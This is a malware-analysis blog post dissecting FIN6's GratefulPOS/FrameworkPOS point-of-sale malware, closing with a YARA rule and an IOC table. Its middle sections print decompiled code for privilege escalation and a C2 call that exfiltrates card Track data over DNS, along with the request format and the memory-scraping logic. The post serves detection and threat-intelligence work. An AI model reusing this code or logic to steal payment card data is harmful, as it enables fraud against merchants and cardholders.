# Update: Let's Learn: Reversing FIN6 "GratefulPOS" aka "FrameworkPOS" Point-of-Sale Malware in-Depth **vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html** **Goal: Reverse the latest Point-of-Sale (POS) malware dubbed "GratefulPOS" in-depth including some of the** notable source code-level insights. **Source: RSA FirstWatch Blog** ["GratefulPOS credit card stealing malware - just in time for the shopping season"](https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season) **Malware Sample:** [67a53bd24ee8499fed79c8c368e05f7a](https://www.virustotal.com/#/file/81cea9fe7cfe36e9f0f53489411ec10ddd5780dc1813ab19d26d2b7724ff3b38/detection) **[Credit: @w1mp1k1ng](https://twitter.com/w1mp1k1ng/)** **POS Malware Brief:** POS malware targets targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-ofsale system’s memory unencrypted while the system determines where to send it for authorization. [Look Maa! It's zero-detection Point-of-Sales #POS](https://twitter.com/hashtag/POS?src=hash&ref_src=twsrc%5Etfw) [#malware we are calling #gratefulPOS just in time for](https://twitter.com/hashtag/malware?src=hash&ref_src=twsrc%5Etfw) [holiday shopping season! https://t.co/WpA6KCi3zu](https://t.co/WpA6KCi3zu) [— w1mp1 (@w1mp1k1ng) December 8, 2017](https://twitter.com/w1mp1k1ng/status/939226704312193024?ref_src=twsrc%5Etfw) **FrameworkPOS aka GratefulPOS Background:** Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past. All in all, the GratefulPOS malware appears to communicate via DNS with the purported "grp1" campaign identifier and contains debug Track 2 data presumably for testing purposes. Deep dive into the GratefulPOS malware: I. Malware Service Installation and Persistence II. Byte String Build and XOR Encoder with Key "0AAh" III. Memory Scraping Debug Privilege IV. Client-Server Communications V. Logger File and Collector File Generation VI. Scraping Process Whitelisting VII. Memory Scraping Logic VIII. Luhn Algorithm X. Self-Deletion Process XI. Yara Signature **I. Malware Service Installation and Persistence** The first thing that this GratefuPOS malware does is creates itself up as a service for persistence. The malware masks itself as a legitimate-looking service titled “LogMeIn Hamachi Launcher” with the short name of “LogMeInHamachi”. For those unfamiliar, LogMeIn Hamachi is a "virtual private network (VPN) application that is capable of establishing direct links between computers that are behind NAT firewalls without requiring reconfiguration (when the user's PC can be accessed directly without relays from the Internet/WAN ----- side). Such VPN software is extremely popular amongst administrators and technicians who might need to remotely login to the point-of-sale card network to address IT administrative and network issues. The malware control function contains the following four functions: stop start install uninstall The install function leverages usual OpenSCManagerA, CreateServiceA to create the service with the description "Provides launch functionality for LogMeInHamachi services." Additionally, it creates a unique mutex titled 'DLLLaunchasdf1' **II. XOR Byte String Build and XOR Obfuscation with Key "0AAh"** Throughout its execution, the malware builds some notable strings via xoring the byte section in the loop * (&byte_memory ++) ^= 0x4Dh (via sequence of mov, xor, shl, movsx, and shl calls) displaying the strings as ----- follows: 4060320344370557=19022010000068600000 ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com SeDebugPrivilege 0.0.0.0 recv send Oftentimes, malware coders build string paths to bypass some static anti-virus detection. Notably, the GratefulPOS malware obfuscates its stolen data via the hardcoded XOR byte key to strings as follows: *((_BYTE *)value + iter) ^= 0AAh and converts it into hexadecimals adding to snprintf API call. The hardcoded xor byte key used is "0AAh." Additionally, the malware checks the hardcoded string array while it XOR's the data. The XOR key function location is as follows: ------- -------Address Function ------- -------.text:004030DB notice_write_func .text:00403847 memory_parser .text:00403873 memory_parser .text:004039DE memory_parser .text:00406C43 computer_name_gen **III. Memory Scraping Debug Privilege** Then, the POS malware tries to obtain "SeDebugPrivilege" access for memory parsing leveraging the combination of GetCurrentProcess, OpenProcessToken, LookupPrivilegeValueA, and AdjustTokenPrivileges API calls. int __cdecl sedebug_escalation(LPCSTR lpName) { HANDLE v1; int result; DWORD ReturnLength; HANDLE TokenHandle; struct _TOKEN_PRIVILEGES NewState; memset(&NewState, 0, 0x10u); // GratefulPOS obtain SeDebugPrivilege NewState.PrivilegeCount = 1; v1 = GetCurrentProcess(); if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) ) { if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) ) { NewState.Privileges[0].Attributes = 2; if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) ) { CloseHandle(TokenHandle); result = 1; ----- } else { CloseHandle(TokenHandle); result = 0; } } else { CloseHandle(TokenHandle); result = 0; } } else { result = 0; } return result; } **IV. Client-Server Communications** The malware proceeds to check if the SID using AllocateAndInitializeSid and EqualSid to see if it has succeeded with the call. If the return call equals "1," the malware copies and stores the string "adm" indicating admin privileges. Otherwise, GratefulPOS copies and stores the string "nadm" indicating the absence of such privileges. ----- Eventually, the malware uses this information as part of the ping.%s.%s.%s.%s storing it as string in the first argument to reach the server ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0, wherein the host username is generated via GetComputerNameA xor'ed with the byte key used "0AAh" and converted into hexadecimals). All in all, the malware runs the server calls in a separate thread. The POS malware then sleeps randomly for the period of between 2 hours and 3 hours (rand() % 3600000 + 7200000) before the next server call. GratefulPOS also adds the likely campaign identifier as “grp1” to the request when sending the data to the server. Notably, if the malware reads the value as "cccc," it removes itself from the system. The malware collects both local computer name and its local IP. signed int __cdecl get_http_resolve_func(int a1) { signed int result; char v2; int v3; int v4; int v5; int v6; int v7; int v8; int v9; int v10; char v11; char v12; v11 = 0; memset(&v12, 0, 0x7FFu); **_snprintf(&v11, 2047u, "%s.%s.%s.%s", logmein_bid_value, computer_name, 'grp1', a1, &name);** v10 = 0; v6 = 0; memset(&v2, 0, 0x20u); v3 = 0; v4 = 1; v5 = 17; v7 = call_c2((int)&v11, (int)"http", (int)&v2, (int)&v10); if ( v7 ) { result = -1; } else { v8 = *(_DWORD *)(v10 + 24); v9 = *(_DWORD *)(v8 + 4); if ( v9 == 'cccc' ) **self_delete_func();** func_6(v10); result = 0; } return result; **V. Logger File and Collector File Generation** The POS malware proceeds to open the file "logmein[.]bid" with read access privileges and read first 10 bytes. If it does not exit it will create a file "logmein[.]bid" with four two-digit random signed integers between 0 and 255 ----- in hexadecimals generated via the rand() % 255 command. This generated string becomes the exfiltration file marker masked as a system ".dat" file. **VI. Scraping Process Whitelisting** Then, the POS malware obtains a snapshot of current running processes via CreateToolhelp32Snapshot and compares it against the whitelisted ones for memory scraping function. The whitelisted functions as follows: wininit.exe services.exe smss.exe csrss.exe winlogon.exe sched.exe lsass.exe svchost.exe conhost.exe ctfmon.exe spoolsv.exe System taskmgr.exe explorer.exe wmiprvse.exe mdm.exe chrome.exe Chrome.exe RegSrvc.exe firefox.exe This is done to shorten memory scraping time looking for Track data by excluding known processes not associated with possible point-of-sale software. **VII. Memory Scraping Logic** GratefulPOS proceeds to read process memory pages leveraging using VirtualQueryEx reading Buffer.State & 0x1000 && Buffer.Protect & 0xCC at a time. The malware also compares if the process file path is at least 5 characters long. Then, the POS malware scans memory regions via ReadProcessMemory API looking for Track 1 and Track 2 data and writing and appending it to the ".dat" file as "tt1.%s.%s.%s.%s" Track 1 data and "tt2.%s.%s" Track 2 data if the matched length is 140 and 60 characters, respectively. The malware also checks if it can reach the server and after several attempts it deletes the stolen data. Additionally, GratefulPOS appends "notice" to the same file to mark debugger output. The observed structure of the submitted requests data is as follows: ----- [HOST_ID].grp1.ping.[ADMIN].[LOCAL_IP].[LOCAL_USERNAME].ns[.]a193 45 3 47 deploy akamaitechnologies.com [HOST_ID].grp1.notice.[PROCESS_ATTACHED].ns[.]a193-45-3-47-deploy-akamaitechnologies.com [HOST_ID].grp1.tt1.[TRACK1_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com [HOST_ID].grp1.tt2.[TRACK2_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com **VIII. Luhn Algorithm** The malware also validates the card information by running the Luhn algorithm for any purported track data that does not begin with digits “4” (VISA), “5” (Mastercard), “6” (Discover), “34" (AMEX), “37” (AMEX), “36” (Diner’s Club), and “300-305” (Diner’s Club). The Luhn function that verifies the validity of personal account number (PAN) is as follows: BOOL __cdecl Luhn_Check(char *a1) { size_t v1; int v3; signed int v4; signed int v5; size_t v6; int v7; int v8; int v9; int v10; int v11; int v12; int v13; int v14; int v15; int v16; v7 = 0; v8 = 2; v9 = 4; v10 = 6; ----- v11 = 8; v12 = 1; v13 = 3; v14 = 5; v15 = 7; v16 = 9; v5 = 1; v4 = 0; v6 = strlen(a1); while ( 1 ) { v1 = v6--; if ( !v1 ) break; if ( v5 ) v3 = a1[v6] - 48; else v3 = *(&v7 + a1[v6] - 48); v4 += v3; v5 = v5 == 0; } return v4 % 10 == 0; } **X. Self-Deletion Process** The malware deletes itself removing itself the RUN key registry key as " LogMeIn Hamachi Launcher" and deleting itself as "logmeinlauncher[.]exe" upon reading the instruction "cccc." **XI. YARA RULE** **rule crime_win32_gratefulpos_trojan {** meta: description = "GratefulPOS malware variant" author = "@VK_Intel" reference = "Detects GratefulPOS" date = "2017-12-10" **strings:** $s0 = "conhost.exe" fullword ascii ----- $s1 = del logmeinlauncher.exe fullword ascii $s2 = "Chrome.exe" fullword ascii $s3 = "taskmgr.exe" fullword ascii $s4 = "firefox.exe" fullword ascii $s5 = "logmeinlauncher.exe stop" fullword ascii $s6 = "ping 1.1.1.1 -n 1 -w 3000 > nul" fullword ascii $s7 = "Ymscoree.dll" fullword wide $s8 = "LogMeInHamachi Process Launcher" fullword ascii $s9 = "sched.exe" fullword ascii $s10 = "wininit.exe" fullword ascii $s11 = "wmiprvse.exe" fullword ascii $s12 = "RegSrvc.exe" fullword ascii $s13 = "mdm.exe" fullword ascii $s14 = "GET /index.php HTTP/1.0" fullword ascii $s15 = "LogMeIn Hamachi Launcher" fullword ascii $s16 = "logmein.bid" fullword ascii $s17 = "del sd.bat" fullword ascii $s18 = "sd.bat" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 500KB and 10 of them } **Update (May 16, 2019); Some of the new FIN6 FrameworkPoS malware variants were spotted by** **[@malz_intel revealing that the group is still utilizes the 64-bit malware variant with two export](https://twitter.com/malz_intel)** **functions "workerIntstance" and "debugPoint".** **The malware variant creates a mutex "Global.Ms.ThreadPooling.MyAppSingleInstance" with the** **Russian language version section storing the stolen Track1/Track2 data in "Temp\memscrp.stp" with** **".stopped" marker.** **The server naming convention is still "ns.akamai1811[.]com" via DNS exfiltration.** ----- **The malware writes the bot ID to C:\Microsoft\HelpAssistant\btid.dat.** **As usual, the FrameworkPoS malware forms the query with adding scraper card Track1 under "tt1"** **and Track2 under "tt2" prefixes.** **Notably, the FrameworkPoS still leverages hex with 0xAA byte XOR encoding for exfiltrated data with** **the ping request, for example, as follows (decoded):** ``` [LOCAL_IP];[USERNAME];[X64/X86];[HOSTNAME];[limited_privs|admin_privs]; ``` Now, this malware also contains an altered "greedier" version of the Track1/Track2 scanner logic focusing less on static card prefixes and service codes but for more any data that looks like Track1/Track2. **Update (December 21, 2017): Thanks for the feedback in the comment section, I've compiled all the IOCs in** one table listing Framework/GratefuPOS malware hashes (in SHA1), campaign IDs, service names, and known nameserver C2s. ----- **FRAMEWORK/GRATEFULPOS MALWARE** **CAMPAIGN** **ID** **SERVICE** **NS C2** 3e7efa7ad5de8fe7698d993c968bc108ef0350d6 grp02 DllLaunch ns[.]a23-33-37-54-deployakamaitechnologies.[]com 268f4b8f7c981b04d2d19d4102cdcca6f965d3f3 grp03 DllLaunch ns[.]a23-33-37-54-deployakamaitechnologies.[]com 77bd272517a3c1abc8f5e07af3a5980becb3652e grp03 LogMeInServer ns[.]a23-33-37-54-deployakamaitechnologies.[]com 1762b5583552a435528334ffc552b73699e477cb grp05 LogMeInServer ns[.]a23-33-37-54-deployakamaitechnologies.[]com d957e492e918ed200268e681907f4c7644b1a211 grp1 LogMeInHamachi ns[.]a193-45-3-47-deployakamaitechnologies[.]com 2e7ca3676593674e9d75fb3efc73be62e378f5ce grp10 LogMeInServer ns[.]a23-33-37-54-deployakamaitechnologies.[]com c76c62981f3d6526d799dd93f61559915f09005e grp2 LogMeInHamachi ns[.]a193-45-3-47-deployakamaitechnologies[.]com 2d9b601d09bc1e49c94b316263f96d6ee6e57c54 v1702 TrueTypeFontSvc ns[.]a193-108-94-56deployakamaitechnologies[.]com 17b657174313e3e7ce84c030991a271b66eb0840 v1702 TrueTypeFontSvc ns[.]a193-108-94-56deployakamaitechnologies[.]com 04595012daaaf75f0a72db87b76e9fd9401a7a40 v1705 PnPH ns[.]a193-108-94-56deployakamaitechnologies[.]com 0eb7ac6d2d99d702ecc8b86ff90b0aac 296bd6eb N/A (Dll) ns.akamai1811[.]com -----